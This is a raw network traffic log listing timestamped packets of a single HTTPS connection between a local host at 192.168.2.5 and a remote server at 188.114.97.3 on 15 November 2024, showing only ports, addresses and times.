Nov 15, 2024 01:01:28.751530886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.751559019 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.751583099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.751601934 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.827840090 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853035927 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853084087 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853107929 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853132010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853151083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853164911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853360891 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853404999 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853426933 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853436947 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853457928 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853476048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853785038 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853826046 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853843927 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853852034 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.853869915 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853880882 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.853895903 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854110956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854150057 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854170084 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854177952 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854195118 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854217052 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854319096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854360104 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854376078 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854384899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854418993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854428053 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854701042 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854753017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854763031 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854778051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.854818106 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.854840040 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855454922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855508089 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855519056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855530977 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855551958 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855566978 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855707884 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855753899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855768919 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855779886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855796099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855811119 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855920076 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855963945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.855983973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.855992079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.856009960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.856031895 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.856122017 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.856167078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.856180906 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.856190920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.856208086 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.856226921 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.856358051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.856401920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.856419086 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.856426954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.856461048 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.856470108 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.857002020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.857042074 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.857059956 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.857068062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.857084036 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.857110977 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.857199907 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.857243061 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.857251883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.857264996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.857289076 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.857301950 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.858556986 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.858603954 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.858629942 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.858639956 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.858681917 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.858691931 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.858891964 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.858931065 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.858942032 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.858951092 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.858968973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.858985901 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.859350920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.859391928 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.859404087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.859415054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.859436035 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.859450102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.860246897 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.860295057 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.860316038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.860323906 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.860357046 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.860368967 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.862552881 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.862595081 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.862620115 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.862628937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.862649918 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.862669945 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.866506100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.866549015 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.866574049 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.866589069 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.866606951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.866621017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.866982937 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.867032051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.867041111 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.867054939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.867079973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.867100000 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.867815971 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.867868900 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.867889881 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.867898941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.867928028 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.867939949 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.867960930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.868016005 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.868027925 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.868037939 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.868057966 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.868820906 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.868864059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.868876934 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.868889093 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.868911982 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869080067 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869119883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869132042 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869151115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869178057 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869307995 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869345903 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869369984 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869379997 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869415998 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869491100 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869534969 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869551897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869564056 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869594097 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869815111 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869854927 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869865894 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.869884014 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.869916916 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.870033026 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.870085955 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.870093107 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.870117903 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.870135069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.870337963 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.870383024 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.870390892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.870407104 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.870440006 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.930185080 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.972712040 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.972778082 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.972794056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.972815037 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.972830057 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.972843885 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973026991 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973067045 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973097086 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973117113 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973130941 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973149061 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973223925 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973263979 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973273993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973294020 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973316908 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973330975 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973436117 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973484039 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973490000 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973506927 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973537922 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973675013 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973706007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973722935 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973723888 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973748922 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973777056 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973795891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973890066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973942041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973954916 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.973964930 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.973994017 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974015951 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974073887 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974123955 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974136114 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974144936 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974167109 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974181890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974270105 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974323034 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974344015 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974351883 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974373102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974384069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974558115 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974600077 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974634886 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974642992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.974658966 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974678993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.974967003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975013018 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975025892 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975034952 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975064039 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975080967 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975184917 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975239992 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975255966 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975294113 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975358963 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975373983 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975411892 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975423098 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975444078 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975471973 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975707054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975748062 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975765944 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975778103 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.975872040 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.975961924 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.976001978 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.976011992 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.976037025 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.976062059 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.976164103 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.976214886 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.976222038 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.976239920 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:28.976263046 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:28.976278067 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.080503941 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.080550909 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.080569983 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.080590010 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.080605030 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.080622911 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.080702066 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.080743074 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.080756903 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.080768108 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.080787897 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.080801010 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081005096 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081053019 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081077099 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081084967 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081096888 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081120968 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081376076 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081428051 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081461906 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081469059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081490993 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081501007 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081680059 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081732988 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081765890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081773996 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.081794024 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.081803083 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.082226992 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.082273006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.082292080 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.082302094 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.082329035 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.082340002 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083050966 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083106995 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083117962 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083128929 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083159924 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083170891 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083446980 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083492041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083502054 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083523989 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083530903 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083550930 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083565950 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083642006 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083688974 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083702087 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083710909 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.083731890 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.083748102 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.084047079 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084089041 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084112883 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.084121943 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084145069 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.084156990 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.084729910 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084778070 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084849119 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.084871054 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084912062 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.084939003 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084980011 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.084989071 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085001945 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085027933 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085047960 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085156918 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085199118 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085206985 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085221052 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085256100 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085278988 CET	49868	443	192.168.2.5	188.114.97.3
Nov 15, 2024 01:01:29.085349083 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085388899 CET	443	49868	188.114.97.3	192.168.2.5
Nov 15, 2024 01:01:29.085401058 CET	49868	443	192.168.2.5	188.114.97.3
